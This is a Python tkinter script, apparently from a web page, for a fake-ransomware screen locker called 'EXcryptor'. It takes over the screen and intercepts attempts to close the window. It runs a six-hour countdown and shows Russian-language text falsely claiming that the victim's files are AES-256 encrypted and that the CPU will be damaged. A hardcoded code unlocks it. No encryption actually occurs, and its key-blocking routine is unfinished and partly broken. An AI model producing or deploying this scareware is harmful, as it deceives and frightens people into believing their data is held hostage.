Загрузка данных
import tkinter as tk
from tkinter import font as tkfont
from tkinter import PhotoImage
from datetime import timedelta
import os
import ctypes
from ctypes import wintypes
# --- НАСТРОЙКИ ---
BG_BLACK = "#000000"
FG = "#ffffff"
TOTAL_SECONDS = 6 * 60 * 60
PHOTO_PATH = r"" # <-- Ваш путь к файлу глазика
WARNING_TEXT = (
"Упс, Windows заблокирован!\n"
"Все ваши файлы зашифрованы военным способом шифрования AES-256,\n"
"в случае попытки обмануть систему на ваш процессор будет подана рекурсивная нагрузка "
"(сложные химические формулы, выражения и вычисления), что приведёт к его неисправности."
)
FINAL_TEXT = (
"Упс, Windows заблокирован!\n"
"Все ваши файлы зашифрованы военным способом шифрования AES-256,\n"
"в случае попытки обмануть систему на ваш процессор будет подана рекурсивная нагрузка "
"(сложные химические формулы, выражения и вычисления), что приведёт к его неисправности!"
)
ASCII_LINES = [
r" ...",
r" ;::::;",
r" ;::::; :;",
r" ;:::::' :;",
r" ;:::::; ;.",
r" ,:::::' ; OOO",
r" ::::::; ; OOOOO",
r" ;:::::; ; OOOOOOOO",
r" ,;::::::; ;' / OOOOOOO",
r" ;:::::::::`. ,,,;. / / DOOOOOO",
r" .';:::::::::::::::::;, / / DOOOO",
r" ,::::::;::::::;;;;::::;, / / DOOO",
r";`::::::`'::::::;;;::::: ,#/ / DOOO",
r":`:::::::`;::::::;;::: ;::# / DOO",
r"::`:::::::`;:::::::: ;::::# / DOO",
r":::`:::::::`;::::::::;:::;# / DOO",
r" :::`:::::::`;; ;:::::::::## OO",
r" ::::`:::::::`;::::::::;:::# OO",
r" `:::::`::::::::::::;'`:;::# O",
r" `:::::`::::::::;' / / `:#",
r" ::::::`:::::;' / / `#",
]
# Константы Windows API
GWL_WNDPROC = -4
WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_SYSKEYDOWN = 0x0104
WM_SYSKEYUP = 0x0105
WM_SYSCOMMAND = 0x0112
SC_MINIMIZE = 0xF020
VK_LWIN = 0x5B
VK_RWIN = 0x5C
CallWindowProcW = ctypes.windll.user32.CallWindowProcW
CallWindowProcW.argtypes = [wintypes.WPARAM, wintypes.HWND, wintypes.UINT, wintypes.WPARAM, wintypes.LPARAM]
CallWindowProcW.restype = ctypes.c_longlong
original_wndproc = None
def wnd_proc(hwnd, msg, wparam, lparam):
if msg == WM_KEYDOWN or msg == WM_SYSKEYDOWN:
vk = wparam
if vk == VK_LWIN or vk == VK_RWIN:
return 0
if msg == WM_SYSCOMMAND:
if wparam == SC_MINIMIZE:
return 0
return CallWindowProcW(original_wndproc, hwnd, msg, wparam, lparam)
def subclass_window(hwnd):
global original_wndproc
wnd_proc_ptr = ctypes.WINFUNCTYPE(ctypes.c_longlong, wintypes.HWND, wintypes.UINT, wintypes.WPARAM, wintypes.LPARAM)(wnd_proc)
def format_seconds(s):
return str(timedelta(seconds=s))
def main():
root = tk.Tk()
root.title("EXcryptor")
root.attributes("-fullscreen", True)
root.configure(bg=BG_BLACK)
hwnd = ctypes.windll.user32.GetParent(root.winfo_id())
subclass_window(hwnd)
def show_alert():
alert_win = tk.Toplevel(root)
alert_win.overrideredirect(True)
alert_win.attributes('-topmost', True)
alert_win.configure(bg='white') # белая обводка
sw = alert_win.winfo_screenwidth()
sh = alert_win.winfo_screenheight()
w, h = 600, 100
x = (sw - w) // 2
y = (sh - h) // 2
alert_win.geometry(f"{w}x{h}+{x}+{y}")
inner_frame = tk.Frame(alert_win, bg='black')
inner_frame.pack(fill='both', expand=True, padx=2, pady=2)
lbl = tk.Label(inner_frame, text="попытка обмануть систему остановлена",
bg="black", fg="white", font=tkfont.Font(size=18, weight="bold"))
lbl.pack(expand=True)
root.after(2000, alert_win.destroy)
def on_close():
show_alert()
root.protocol("WM_DELETE_WINDOW", on_close)
mono = tkfont.Font(family="Courier New", size=18)
eye_image = None
if os.path.exists(PHOTO_PATH):
try:
eye_image = PhotoImage(file=PHOTO_PATH)
except Exception:
eye_image = None
art_frame = tk.Frame(root, bg=BG_BLACK)
art_frame.place(relx=0.5, rely=0.5, anchor="center")
art_label = tk.Label(art_frame, text="", bg=BG_BLACK, fg=FG, font=mono, justify="left", anchor="nw")
art_label.pack()
eye_label = None
caption = None
if eye_image:
eye_label = tk.Label(root, image=eye_image, bg=BG_BLACK)
eye_label.place(relx=0.5, rely=0.12, anchor="center")
caption = tk.Label(root, bg=BG_BLACK, fg="#ff5555", font=tkfont.Font(size=20), anchor="center")
caption.place(relx=0.5, rely=0.19, anchor="center")
timer_label = tk.Label(root, text="", bg=BG_BLACK, fg=FG, font=tkfont.Font(size=24, weight="bold"))
timer_label.place(relx=0.01, rely=0.98, anchor="sw")
timer_seconds = [TOTAL_SECONDS]
timer_stopped = [False]
def update_timer():
if not timer_stopped[0]:
t = timer_seconds[0]
timer_label.config(text=f"time left: {format_seconds(t)}")
if timer_seconds[0] <= 0:
art_frame.place_forget()
timer_label.config(text="")
if eye_label: eye_label.place_forget()
if caption: caption.place_forget()
show_final_text()
timer_stopped[0] = True
else:
timer_seconds[0] -= 1
root.after(1000, update_timer)
update_timer()
ascii_art_lines = []
def animate_ascii(idx=0):
if idx < len(ASCII_LINES):
ascii_art_lines.append(ASCII_LINES[idx])
art_label.config(text="\n".join(ascii_art_lines))
root.after(40, lambda: animate_ascii(idx+1))
else:
root.after(4000, show_lock_interface)
animate_ascii()
def show_final_text():
text_label = tk.Label(root, text=FINAL_TEXT, bg=BG_BLACK, fg=FG, font=tkfont.Font(size=23, weight="bold"),
wraplength=900, justify="center")
text_label.place(relx=0.5, rely=0.5, anchor="center")
def show_lock_interface():
art_frame.place_forget()
timer_label.config(bg=BG_BLACK)
if eye_label: eye_label.place_forget()
if caption: caption.place_forget()
for widget in root.place_slaves():
try:
if widget.cget("bg") == BG_BLACK:
widget.place_forget()
except Exception:
pass
border_thickness = 2
lock_frame = tk.Frame(root, bg=BG_BLACK, highlightbackground="white", highlightcolor="white",
highlightthickness=border_thickness)
lock_frame.place(relx=0.5, rely=0.5, anchor="center")
inner = tk.Frame(lock_frame, bg=BG_BLACK)
inner.pack(padx=30, pady=20)
warning_label = tk.Label(inner, text=WARNING_TEXT, bg=BG_BLACK, fg=FG, font=tkfont.Font(size=16),
justify="center", wraplength=700, padx=9, pady=8)
warning_label.pack()
tk.Label(inner, text="Введите код:", bg=BG_BLACK, fg=FG, font=tkfont.Font(size=14, weight="bold"),
anchor="w", justify="left").pack(pady=(20, 7), anchor='w')
code_var = tk.StringVar()
entry = tk.Entry(inner, textvariable=code_var, font=tkfont.Font(size=12), bg="#111111",
fg="#000000", width=16, relief="flat", insertbackground="#ffffff", state="readonly")
entry.pack(pady=4, anchor='w')
output_label = tk.Label(inner, text="", bg=BG_BLACK, fg="#00ff00", font=tkfont.Font(size=12, weight="bold"),
anchor="w", justify="left")
output_label.pack(pady=(8, 10), anchor='w')
def check_code():
if code_var.get() == "12345":
output_label.config(text="Расшифровка...", fg="#00ff00")
root.after(1000, root.destroy)
else:
output_label.config(text="Введённый ключ не совпадает.", fg="#ff5555")
btn_frame = tk.Frame(inner, bg=BG_BLACK)
btn_frame.pack()
digits = [
('1','2','3'),
('4','5','6'),
('7','8','9'),
('DEL','0','ОК')
]
for r, row in enumerate(digits):
for c, char in enumerate(row):
def cmd(ch=char):
if ch == 'ОК':
check_code()
elif ch == 'DEL':
code_var.set(code_var.get()[:-1])
else:
if len(code_var.get()) < 8:
code_var.set(code_var.get() + ch)
b = tk.Button(btn_frame, text=char, command=cmd, width=4, height=2,
bg="#222222", fg=FG, activebackground="#444444",
font=tkfont.Font(size=14, weight="bold"))
b.grid(row=r, column=c, padx=5, pady=5)
reset_button = tk.Button(inner, text="Сброс", command=lambda: code_var.set(""),
width=10, height=2, bg="#444444", fg=FG,
activebackground="#666666", font=tkfont.Font(size=12, weight="bold"))
reset_button.pack(pady=(10, 0))
root.mainloop()
if __name__ == "__main__":
main()